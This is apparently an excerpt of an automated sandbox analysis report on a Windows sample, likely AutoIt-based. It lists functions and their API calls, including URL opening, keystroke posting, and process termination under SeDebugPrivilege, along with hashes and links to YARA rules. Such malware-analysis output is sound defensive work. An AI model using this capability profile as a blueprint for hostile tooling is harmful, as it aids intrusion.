Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: f6b558d0d0a9a7571f8ea3ec648dfd193b284942990825c719a10857f54bbbd5
Instruction ID: 25306cadbe06421e7d8836d652554b421b485d3f8336fa6baca2876dffa6cdaa
Opcode Fuzzy Hash: f6b558d0d0a9a7571f8ea3ec648dfd193b284942990825c719a10857f54bbbd5
Instruction Fuzzy Hash: D3518770600209EFDB20CF65CC95FBA7BB5FB48761F108A18FA16972A0DB70E991DB50

Function 00A5C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A5C182
GetLastError.KERNEL32 ref: 00A5C195
SetEvent.KERNEL32(?), ref: 00A5C1A9

Part of subcall function 00A5C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A5C272
Part of subcall function 00A5C253: GetLastError.KERNEL32 ref: 00A5C322
Part of subcall function 00A5C253: SetEvent.KERNEL32(?), ref: 00A5C336
Part of subcall function 00A5C253: InternetCloseHandle.WININET(00000000), ref: 00A5C341

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 4c4bc30db67ba81cdc49af84687bb7bee50b26343103daccc354cea553d5cc7a
Instruction ID: 17b40b1aaf9d1c54646922a239eebf27043462d72b23168c2cf51489817d5ed4
Opcode Fuzzy Hash: 4c4bc30db67ba81cdc49af84687bb7bee50b26343103daccc354cea553d5cc7a
Instruction Fuzzy Hash: C431A171100701AFDB21AFE5DD44AAABBF8FF18322F00851DFD5A86615DB30E859DBA0

Function 00A425A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A43A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A43A57
Part of subcall function 00A43A3D: GetCurrentThreadId.KERNEL32 ref: 00A43A5E
Part of subcall function 00A43A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00A425B3), ref: 00A43A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00A425BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00A425DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00A425DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00A425E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00A42601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00A42605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00A4260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00A42623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00A42627

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 6d52ee01d8a11b148c2945003b26475b4f086a2117c3de1ab24377d334b26bb1
Instruction ID: 422bad1d8dae4afa1849d48102c8e0fccf45d296a041d36b310c72e75c1d9e37
Opcode Fuzzy Hash: 6d52ee01d8a11b148c2945003b26475b4f086a2117c3de1ab24377d334b26bb1
Instruction Fuzzy Hash: C501D831390220BBFB10A7A89C8AF593F59DF8EB62F504015F318AE0D1C9E21485CA69

Function 00A41803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00A41449,?,?,00000000), ref: 00A4180C
HeapAlloc.KERNEL32(00000000,?,00A41449,?,?,00000000), ref: 00A41813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00A41449,?,?,00000000), ref: 00A41828
GetCurrentProcess.KERNEL32(?,00000000,?,00A41449,?,?,00000000), ref: 00A41830
DuplicateHandle.KERNEL32(00000000,?,00A41449,?,?,00000000), ref: 00A41833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00A41449,?,?,00000000), ref: 00A41843
GetCurrentProcess.KERNEL32(00A41449,00000000,?,00A41449,?,?,00000000), ref: 00A4184B
DuplicateHandle.KERNEL32(00000000,?,00A41449,?,?,00000000), ref: 00A4184E
CreateThread.KERNEL32(00000000,00000000,00A41874,00000000,00000000,00000000), ref: 00A41868

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 12f37d2e24383aa9418f7f33fb59c75cd1c8ebbb014ae406e4ade5798bc98221
Instruction ID: 7e5bd789c237784e3c5ee415673168d15098f7bd4530e506fd3d3c0072103be6
Opcode Fuzzy Hash: 12f37d2e24383aa9418f7f33fb59c75cd1c8ebbb014ae406e4ade5798bc98221
Instruction Fuzzy Hash: A901BBB5240308BFE710EBA5DC4DF6B7BACEB89B11F408525FA09DB1A1CA709841CB20

Function 00A6A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00A4D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00A4D501
Part of subcall function 00A4D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00A4D50F
Part of subcall function 00A4D4DC: CloseHandle.KERNEL32(00000000), ref: 00A4D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A6A16D
GetLastError.KERNEL32 ref: 00A6A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A6A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00A6A268
GetLastError.KERNEL32(00000000), ref: 00A6A273
CloseHandle.KERNEL32(00000000), ref: 00A6A2C4

Strings

SeDebugPrivilege, xrefs: 00A6A18F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 3a5e26da79f0ccaa4f754b37709a16d4932e053cdf141d61659f65599d2e3271
Instruction ID: 899b38ff02a90a4d940e256eaa3e1a041fc852b258d486cda404c801337c3c92
Opcode Fuzzy Hash: 3a5e26da79f0ccaa4f754b37709a16d4932e053cdf141d61659f65599d2e3271
Instruction Fuzzy Hash: 23618F712042419FD720DF25C894F5ABBE1AFA4318F54849CE46A5B7A3C772EC86CF92

Function 00A73886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00A73925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00A7393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00A73954
_wcslen.LIBCMT ref: 00A73999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00A739C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00A739F4

Strings

SysListView32, xrefs: 00A738F7

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: fc441634ce81e73c4aff3a864d6f39be083792e7449eee42cd095006acb89b8a
Instruction ID: 4b2d58e42d76de166ff35862ad91c9428f4eb1521f80cc5b397471108ac7f451
Opcode Fuzzy Hash: fc441634ce81e73c4aff3a864d6f39be083792e7449eee42cd095006acb89b8a
Instruction Fuzzy Hash: CF418472A00219ABDF219F64CC45BEE77A9FF08350F11852AF958E7281D7759A80DB90

Function 00A4BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A4BCFD
IsMenu.USER32(00000000), ref: 00A4BD1D
CreatePopupMenu.USER32 ref: 00A4BD53
GetMenuItemCount.USER32(016D5478), ref: 00A4BDA4
InsertMenuItemW.USER32(016D5478,?,00000001,00000030), ref: 00A4BDCC

Strings

0, xrefs: 00A4BCA8
2, xrefs: 00A4BD37

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: e3da1660211adc8bfb5f15941cc49c7d84a2ce78f83bd0c55cd9e145b4d28313
Instruction ID: 42bcd768554596fb3a4cb94b28e11b7bc0b89d011226bdf6155fb6bb8468e965
Opcode Fuzzy Hash: e3da1660211adc8bfb5f15941cc49c7d84a2ce78f83bd0c55cd9e145b4d28313
Instruction Fuzzy Hash: 7751AD78A10209DBDF20CFA8D9C4BAEBBF4AF85324F148199E4159B291D770D945CB71

Function 00A4C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00A4C913

Strings

question, xrefs: 00A4C8CC
warning, xrefs: 00A4C8FC
info, xrefs: 00A4C8B4
stop, xrefs: 00A4C8E4
blank, xrefs: 00A4C895

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 637c780f83ac2b2debefa60431172226524a1c08c0929c653b6b503baa4fdb02
Instruction ID: 5f2e751e8e5ccef9569a6d1e1b44f93a241641414eb56ce65f99dc8e09d6e5dc
Opcode Fuzzy Hash: 637c780f83ac2b2debefa60431172226524a1c08c0929c653b6b503baa4fdb02
Instruction Fuzzy Hash: C311533678A306BAE705AB54DD83CAE37ACEF59374B10002EF508A72C3D7745D405664

Function 00A4ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00A4ED2A
_wcslen.LIBCMT ref: 00A4ED3B
_wcslen.LIBCMT ref: 00A4ED79
_wcslen.LIBCMT ref: 00A4EDAF
_wcslen.LIBCMT ref: 00A4EDDF
_wcslen.LIBCMT ref: 00A4EDEF
_wcslen.LIBCMT ref: 00A4EE2B
_wcslen.LIBCMT ref: 00A4EE5A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 6357bc3397384e4d92f6afa2a363e23d64a7ff2357007ee4fad7cedcdd95209d
Instruction ID: 05364d50f3968686b711ca29d43985a22ee6361cd837ca52e245ef5afbea8035
Opcode Fuzzy Hash: 6357bc3397384e4d92f6afa2a363e23d64a7ff2357007ee4fad7cedcdd95209d
Instruction Fuzzy Hash: 03419166C1021C75DB11EBF4D88A9CFB7ACBF49710F508462E918E3162FB34E255C3A5

Function 009FF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00A3682C,00000004,00000000,00000000), ref: 009FF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00A3682C,00000004,00000000,00000000), ref: 00A3F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00A3682C,00000004,00000000,00000000), ref: 00A3F454

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 8e585c37d0865dd128b70a36fd82a9e4e04df3d4179036cd1e45142c16c3d09e
Instruction ID: 0b57a5e72455fc76bc9e920b6c5540b3b17acbbef7d9e3f892f1a1cbeebdd5f4
Opcode Fuzzy Hash: 8e585c37d0865dd128b70a36fd82a9e4e04df3d4179036cd1e45142c16c3d09e
Instruction Fuzzy Hash: F2414D31614688BEC738CB39CCA873A7BA5AF56324F54843CF24B56571D6B6A8C1CB11

Function 00A72D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00A72D1B
GetDC.USER32(00000000), ref: 00A72D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A72D2E
ReleaseDC.USER32(00000000,00000000), ref: 00A72D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00A72D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00A72D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00A75A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00A72DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00A72DE1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 1705e52106418899e27f068b7a758e99efafb77c128968ca231d28d23282e1c6
Instruction ID: 0df77e16981e6e9f918b2084982a7c461417250a95b0eb15976d515f86b158eb
Opcode Fuzzy Hash: 1705e52106418899e27f068b7a758e99efafb77c128968ca231d28d23282e1c6
Instruction Fuzzy Hash: 10314F72201214BFEB218F54CC89FEB3BADEF49765F048059FE0C9A291D6759C91C7A4

Function 00A45622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00A45637
_memcmp.LIBVCRUNTIME ref: 00A45659
_memcmp.LIBVCRUNTIME ref: 00A45671
_memcmp.LIBVCRUNTIME ref: 00A45684
_memcmp.LIBVCRUNTIME ref: 00A4569E
_memcmp.LIBVCRUNTIME ref: 00A456B1
_memcmp.LIBVCRUNTIME ref: 00A456C9
_memcmp.LIBVCRUNTIME ref: 00A456E4

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 7ba009e90361fd9582f36a5546e50017c91c44ba6296a035526ebc1f7dcbf0d3
Instruction ID: ef66400539ff3507d2a285f697e9ead16147d25ebf70cfa1029845faedba18c8
Opcode Fuzzy Hash: 7ba009e90361fd9582f36a5546e50017c91c44ba6296a035526ebc1f7dcbf0d3
Instruction Fuzzy Hash: FE219279E40A097BD21556319F82FFA739CBEA1784F598430FD089A682F720EE1185A6

Function 00A64FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00A65007
NULL Pointer assignment, xrefs: 00A6502E, 00A65383

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: dc72d9bf97a15774cb179d9f590d1d637570b7593607ae6d48a84f802a2eb86d
Instruction ID: a4c8f47a6b143a1f283f33cfb7ab3a4d0199429ffc085678b1d1d67f3bab697d
Opcode Fuzzy Hash: dc72d9bf97a15774cb179d9f590d1d637570b7593607ae6d48a84f802a2eb86d
Instruction Fuzzy Hash: 1ED1CF71E0060AAFDF10DFA8C891BAEB7B5FF48344F148569E915AB281E770DD45CBA0

Function 00A21522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00A217FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00A215CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00A217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00A21651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00A217FB,?,00A217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00A216E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00A217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00A216FB

Part of subcall function 00A13820: RtlAllocateHeap.NTDLL(00000000,?,00AB1444,?,009FFDF5,?,?,009EA976,00000010,00AB1440,009E13FC,?,009E13C6,?,009E1129), ref: 00A13852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00A217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00A21777
__freea.LIBCMT ref: 00A217A2
__freea.LIBCMT ref: 00A217AE

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 012efa8fd36f021d4d94d9d135cc668aba916f9b822a9eafd0273ed876517329
Instruction ID: 72d6aaee4cdb8177245e844b02669e193ae23de45f83ce884d7680e11fa31f2c
Opcode Fuzzy Hash: 012efa8fd36f021d4d94d9d135cc668aba916f9b822a9eafd0273ed876517329
Instruction Fuzzy Hash: F191B571E002269EDF248F68ED81AEEBBB59FA5310F184679E805E7181D735DD41CBA0

Function 00A64523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A64648
VariantInit.OLEAUT32(?), ref: 00A64749
VariantClear.OLEAUT32(?), ref: 00A64753
VariantClear.OLEAUT32(?), ref: 00A647B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 00A645D8, 00A64706, 00A647BE
Incorrect Object type in FOR..IN loop, xrefs: 00A6472C

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 95ea6cffd22158151e65b0185ad489e39f050258f2e0636c7fd9d5e2d89198f4
Instruction ID: 7473df711471ceefa60c82d125a2f2ca32e1a754a48659dc74187d7ac158a6b4
Opcode Fuzzy Hash: 95ea6cffd22158151e65b0185ad489e39f050258f2e0636c7fd9d5e2d89198f4
Instruction Fuzzy Hash: E5916C71A00219AFDF24CFA5DC88FAEBBB8FF4A714F108559F515AB280D7709945CBA0

Function 00A51187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00A5125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A51284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00A512A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A512D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A5135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A513C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A51430

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
